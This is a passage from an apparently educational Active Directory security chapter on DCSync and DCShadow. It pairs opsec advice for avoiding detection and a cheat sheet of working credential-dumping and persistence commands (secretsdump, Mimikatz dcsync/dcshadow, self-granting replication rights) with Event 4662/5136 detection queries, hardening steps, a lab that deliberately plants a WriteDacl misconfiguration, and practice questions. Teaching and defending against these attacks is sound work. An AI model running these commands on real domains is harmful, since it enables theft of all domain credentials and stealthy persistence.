• Golden Tickets (Chapter 6): forge a TGT for any user, any groups, valid for the ticket lifetime you choose — no password, no DC modification. Persistence measured in years if krbtgt is not rotated.
• Every user's NT hash and AES key: Pass-the-Hash / Overpass-the-Hash against every account in the domain (Chapter 5).
• Trust keys (corp.local$ trust accounts): forge inter-realm TGTs to pivot into trusting/trusted domains and forests (SID-history + trust-key forging).
• Service account keys: Silver Tickets for specific services without DC contact.

mindmap
  root((DCSync yields))
    krbtgt key
      Golden Tickets
      Long-term persistence
    All user hashes
      Pass-the-Hash
      Offline cracking
    Trust keys
      Cross-domain TGTs
      Forest pivot
    Service keys
      Silver Tickets
    Machine keys
      Computer account impersonation

This is why the only real remediation after a confirmed DCSync of krbtgt is to rotate the krbtgt password twice (with enough delay between rotations for replication to converge, so both the current and previous key are invalidated) — plus reset every privileged credential and, in serious cases, rebuild trust. A single-rotate is insufficient because AD keeps the previous key valid for existing tickets. Chapter 6 covered the double-rotation mechanics.

Part 10: Opsec, Pitfalls, and Real-World Notes

Concrete gotchas that separate a clean operation from a caught one.

• Get-Changes alone is not enough. Some accounts (e.g. certain read rights) hold only DS-Replication-Get-Changes. That replicates metadata and non-secret attributes but not password hashes. A DCSync attempt returns objects without the secret blobs. You need Get-Changes-All (or the filtered-set right in RODC edge cases) for hashes. If secretsdump returns empty hashes, check which of the two rights you actually hold.
• Targeting a single user is quieter than dumping everything. -just-dc-user krbtgt triggers replication for one object; a full -just-dc replicates the entire domain and generates far more directory-access volume and a bigger network transfer — easier to alert on.
• RODCs are a trap and an opportunity. A Read-Only DC does not hold most secrets (its msDS-RevealedList limits what it caches). DCSync from an RODC yields little; but if you can read the RODC's cached credentials or abuse msDS-RevealedUsers, that is a separate path. Do not point DCSync at an RODC expecting krbtgt.
• Source DC selection. secretsdump talks to the DC you specify. If that DC has better auditing (e.g. the PDC often does), pick a quieter DC in a branch site — but note branch DCs may be RODCs (previous point).
• DCShadow needs the config residue cleaned. If a trigger fails, the rogue nTDSDSA object can linger in CN=Configuration, which is both a detection artefact and can cause replication errors. Always confirm teardown; repadmin /viewlist and Get-ADObject -SearchBase 'CN=Configuration,...' -Filter {objectClass -eq "nTDSDSA"} reveal stray DSAs.
• Time sync. Kerberos (used by DRSUAPI auth via GSS-NEGOTIATE) needs clocks within 5 minutes. If your Kali clock drifts, secretsdump -k fails with clock-skew errors — sync with ntpdate/rdate to the DC.
• Machine account DCSync. Domain Controllers' machine accounts (DC01$) have replication rights inherently. If you compromise a DC computer account's credentials (e.g. via a relay or Shadow Credentials), you can DCSync as DC01$ — which looks extremely normal, because DCs replicate all the time. This is one of the stealthiest DCSync variants.
• Azure AD / Entra Connect sync accounts. The on-prem MSOL_xxxxxxxx account (and the AAD_ account) created by Entra Connect frequently holds DCSync rights so it can hash-sync to the cloud. Compromising the Entra Connect server and extracting its stored sync credential is a well-known path to domain-wide DCSync.

Part 11: Detection & Defense Angle

This is the consolidated defensive section. DCSync and DCShadow are detectable and, to a large degree, preventable — but only if you monitor the right surfaces.

11.1 Detecting DCSync

The definitive host-side signal is Windows Security Event ID 4662 ("An operation was performed on an object") on a Domain Controller, where the Properties field references one of the replication extended-right GUIDs:

• 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (Get-Changes)
• 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (Get-Changes-All)
• 89e95b76-444d-4c62-991a-0facbeda640c (Get-Changes-In-Filtered-Set)

The detection rule that actually works in practice: alert on 4662 with these GUIDs where the SubjectUserName is NOT a Domain Controller machine account (*$ that belongs to the Domain Controllers group) and not a known sync account (MSOL_/AAD_). Legitimate DCSync only ever comes from DCs replicating with each other. Any user account triggering it is DCSync abuse.

# Splunk-style pseudo-query
index=wineventlog EventCode=4662
  (Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
   OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*")
  NOT (Account_Name="*$" AND Account_Name IN [dc_machine_accounts])
  NOT Account_Name IN ("MSOL_*","AAD_*")
| stats count by Account_Name, host, _time

Prerequisite: Event 4662 for these rights only fires if the DC's SACL on the domain object audits the Control Access/replication rights for the relevant principals, and "Audit Directory Service Access" is enabled. Many environments do not have this tuned, which is why DCSync is often invisible in the wild. A Sigma rule (ad_object_writedac_access family / net_dns... no — specifically the community rule win_security_dcsync) encodes exactly the 4662+GUID+non-DC logic.

Network-side, DCSync is a DRSUAPI GetNCChanges call from a host that is not a Domain Controller. Microsoft Defender for Identity (formerly Azure ATP) ships a built-in "Suspected DCSync attack (replication of directory services)" detection that does exactly this correlation at the network sensor level, and it is one of the most reliable out-of-the-box AD attack detections available. Zeek/Suricata can flag DRSUAPI binds from non-DC source IPs.

11.2 Detecting the ACL grant (WriteDacl → DCSync)

The precursor to self-service DCSync is the ACE being written onto the domain head. Monitor Event ID 5136 (directory service object modified) on the domain object where the modified attribute is nTSecurityDescriptor and the new ACE grants a replication right. This catches Add-DomainObjectAcl/dacledit before the DCSync happens. Also baseline the domain-head DACL and diff it on a schedule:

# Baseline: list every principal with a replication right on the domain head
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:$domainDN"
$replGuids = @(
  '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',  # Get-Changes
  '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'   # Get-Changes-All
)
$acl.Access | Where-Object {
  $_.ObjectType -in $replGuids -and $_.AccessControlType -eq 'Allow'
} | Select-Object IdentityReference, ObjectType, ActiveDirectoryRights

Any identity outside the expected set (Domain/Enterprise Admins, Administrators, Domain Controllers, Enterprise/Read-only Domain Controllers, and vetted sync accounts) is a finding to investigate and likely revoke.

11.3 Detecting DCShadow

DCShadow is subtler but has tells:

• Rogue nTDSDSA in the Configuration partition. A Server/nTDSDSA object appearing (Event 5137 create / 4662 on the config container) from a non-admin workstation, especially one that disappears seconds later, is a strong DCShadow indicator. Monitor CN=Sites,CN=Configuration for object creation.
• SPN changes on a computer/user object adding the DRS service class GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2 or a GC/ SPN to a machine that is not a real DC (Event 5136 on servicePrincipalName).
• Unexpected replication source. repadmin /showrepl and repadmin /viewlist list DSAs; a DSA that is not a known DC, or a DRSReplicaAdd from an odd source, is anomalous.
• The change itself. Even if the modification arrives via replication, downstream you can catch the effect: a user suddenly holding sIDHistory of Domain Admins, a non-DA gaining primaryGroupID 512, or a new msDS-AllowedToActOnBehalfOfOtherIdentity blob. Periodic hunting for these attribute anomalies catches DCShadow persistence after the fact.

Microsoft Defender for Identity also has a "Suspected DCShadow attack" detection keyed on the rogue-DC registration and replication-request patterns.

11.4 Prevention and hardening

IR use case: on confirmed DCSync of krbtgt, assume total domain compromise — every credential is burned. The response is not "reset the one account" but a full Tier-0 credential reset, double krbtgt rotation, and hunting for Golden Tickets / DCShadow-planted persistence (stray SIDHistory, primaryGroupID, RBCD, KeyCredentialLink).

Part 12: Building the Lab

To practise everything above safely, stand up a minimal AD lab. You need one Windows Server (DC) and, ideally, a Kali attacker box on the same host-only network.

12.1 Promote a DC

On a fresh Windows Server 2019/2022:

# Install AD DS role and promote to a new forest:
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName corp.local -InstallDns -SafeModeAdministratorPassword `
  (ConvertTo-SecureString 'LabDSRM!2345' -AsPlainText -Force) -Force

12.2 Create the vulnerable low-priv user and the WriteDacl misconfig

# Create a low-priv user:
New-ADUser -Name lowpriv -SamAccountName lowpriv -AccountPassword `
  (ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
 
# Deliberately grant lowpriv WriteDacl on the domain head (the misconfig):
$domainDN = (Get-ADDomain).DistinguishedName
$user = Get-ADUser lowpriv
$sid  = [System.Security.Principal.SecurityIdentifier]$user.SID
$acl  = Get-Acl "AD:$domainDN"
$ace  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
  $sid, 'WriteDacl', 'Allow', 'None')
$acl.AddAccessRule($ace)
Set-Acl "AD:$domainDN" $acl

12.3 Enable auditing so you can see your own attacks

# Turn on Directory Service Access auditing:
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable

Then add a SACL on the domain object auditing the replication rights (via dsacls or ADSI Edit) so Event 4662 fires when you DCSync. Now run the Part 7 lab and watch the events appear in the DC's Security log — the best way to internalise both the attack and its detection is to trigger the attack and then hunt your own 4662s.

Part 13: Final Revision / Summary

The compressed mental model to carry out of this chapter:

• AD is a replicated database. DCs sync via the DRSUAPI RPC interface, calling DRSGetNCChanges to pull attribute changes — including secrets — for a naming context. This is legitimate, constant, and essential.
• DCSync abuses that read path. A principal holding DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain object can call GetNCChanges and have a real DC hand over any account's password hashes, Kerberos keys, and history — no logon to the DC, no code execution, no touching NTDS.dit.
• The prize is krbtgt. Replicating the krbtgt key = Golden Tickets = permanent domain ownership until a double krbtgt rotation. DCSync also yields every user hash (PtH), trust keys (cross-domain), and service keys (Silver Tickets).
• Two roads to the hashes. DCSync (over-the-wire, quiet on host, needs replication rights) vs. NTDS.dit extraction (on-box VSS/IFM, needs local admin + SYSTEM hive, noisier on host). Pick based on what you hold.
• Getting the rights. Default holders are DA/EA/DCs. Attackers get them via ACL abuse — WriteDacl/GenericAll on the domain head → Add-DomainObjectAcl -Rights DCSync (PowerView) or dacledit.py (Impacket) → self-granted DCSync. BloodHound's DCSync/GetChanges/GetChangesAll edges surface both existing and reachable rights.
• DCShadow is the write primitive. Register a rogue DC in the Configuration partition, stage attribute values (SIDHistory, primaryGroupID, RBCD, DACLs, KeyCredentialLink), trigger replication so the real DC commits them, then tear down. Stealthy persistence that sidesteps much object-level auditing.
• Detection. DCSync → Event 4662 with replication GUIDs from a non-DC principal (needs SACL + DS-Access auditing), and network DRSUAPI from non-DCs (Defender for Identity). The ACL grant → Event 5136 on the domain SD. DCShadow → rogue nTDSDSA in the config partition, anomalous SPNs, and the planted attributes themselves.
• Defense. Least privilege on the domain-head DACL (the root cause), Tier-0 isolation of any replication-capable principal, auditing turned on, and krbtgt double-rotation on compromise.

Part 14: Cheat Sheet / Quick Reference

The two rights (need both for secrets):

DS-Replication-Get-Changes       1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All   1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

Enumerate who can DCSync (PowerView):

Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -SearchScope Base -ResolveGUIDs |
  ? { $_.ObjectAceType -match 'Replication-Get-Changes' } |
  select @{n='Who';e={ConvertFrom-SID $_.SecurityIdentifier}}, ObjectAceType

BloodHound Cypher:

MATCH p=(n)-[:DCSync|GetChanges|GetChangesAll]->(d:Domain) RETURN p

Grant DCSync (PowerView / Impacket):

Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity lowpriv -Rights DCSync

dacledit.py -action write -rights DCSync -principal lowpriv -target-dn 'DC=corp,DC=local' 'corp.local/lowpriv:pw' -dc-ip 10.10.10.5

DCSync (dump secrets):

# Impacket - whole domain / single user / PtH:
secretsdump.py corp.local/repl:'pw'@10.10.10.5 -just-dc
secretsdump.py corp.local/repl:'pw'@10.10.10.5 -just-dc-user krbtgt
secretsdump.py -hashes :NTHASH corp.local/repl@10.10.10.5 -just-dc
# NetExec:
nxc smb 10.10.10.5 -u repl -p 'pw' --ntds

# Mimikatz:
lsadump::dcsync /domain:corp.local /user:krbtgt /all /csv

NTDS.dit offline (Road 2):

secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL

DCShadow (Mimikatz, two prompts):

# Prompt 1 (SYSTEM): stage
lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=corp,DC=local /attribute:SIDHistory /value:S-1-5-21-...-512
# Prompt 2 (DA): push
lsadump::dcshadow /push

Detection quick-refs:

DCSync abuse   -> Event 4662 + replication GUID, SubjectUser != DC machine acct
ACL grant      -> Event 5136 on domain nTSecurityDescriptor
DCShadow       -> rogue nTDSDSA in CN=Configuration; DRS/GC SPN on non-DC; 5137
Recovery       -> double-rotate krbtgt; reset Tier-0; hunt SIDHistory/primaryGroupID/RBCD

Part 15: Practice Labs & Resources

Train these exact skills, not generic AD:

• HackTheBox — Forest: classic AS-REP + DCSync path; a Exchange-group privilege leads to WriteDacl/DCSync on the domain. The canonical "grant yourself DCSync" box.
• HackTheBox — Blackfield: Backup operator / forced password change → DCSync of the domain. Excellent secretsdump -just-dc practice.
• HackTheBox — Sauna and Return: service-account and printer-config paths that end in DCSync via delegated rights.
• TryHackHe / TryHackMe — Attacktive Directory and the AD / Post-Exploitation rooms: guided Impacket secretsdump and Mimikatz DCSync.
• TryHackMe — Persisting Active Directory: DCShadow, Golden Tickets, and directory-level persistence hands-on.
• HackTheBox Pro Labs — Dante/Zephyr/RastaLabs: multi-host chains where DCSync of krbtgt into a Golden Ticket is the intended domain-takeover step.
• GOAD (Game of Active Directory) by Orange Cyberdefense: a free, self-hosted vulnerable multi-domain forest — build it locally and practise DCSync, DCShadow, ACL abuse, and the detection side end-to-end.
• Detection practice: enable the auditing from Part 12, run your own DCSync, and write the 4662 detection query in your SIEM. Pair with Microsoft's Defender for Identity lab guidance and the Sigma win_security_dcsync rule to see the same attack from the blue side.

Recommended reading to go deeper: the MS-DRSR protocol specification (DRSGetNCChanges, opnum 3), adsecurity.org's DCSync and DCShadow write-ups, the original DCShadow release material by Benjamin Delpy and Vincent Le Toux, and the BloodHound documentation on the DCSync, GetChanges, and GetChangesAll edges. In the next chapter we move from replication abuse to Kerberos delegation attacks (unconstrained, constrained, and resource-based constrained delegation) — another route to impersonation and domain dominance that pairs naturally with the DCShadow-planted msDS-AllowedToActOnBehalfOfOtherIdentity primitive introduced here.

Practice Questions

1. A principal holds only DS-Replication-Get-Changes (not -All) on the domain object. You run secretsdump.py -just-dc and the output lists accounts but every hash field is blank. Explain precisely why, and what right you must additionally obtain.
2. You have local admin on a branch-office DC but BloodHound shows no principal you control has DCSync rights. Describe two different ways to still extract the krbtgt key, and the distinct detection artefact each leaves.
3. Write the logic (in words) of a reliable DCSync detection rule using Event 4662, including the exact GUIDs and the false-positive sources you must exclude.
4. DCShadow lets you set sIDHistory on a user via replication. Why is this stealthier persistence than simply adding the user to the Domain Admins group, and what single periodic hunt would still catch it?
5. After confirming an attacker DCSynced krbtgt, a junior admin resets the krbtgt password once and declares the incident contained. Explain why this is insufficient and what the correct remediation is.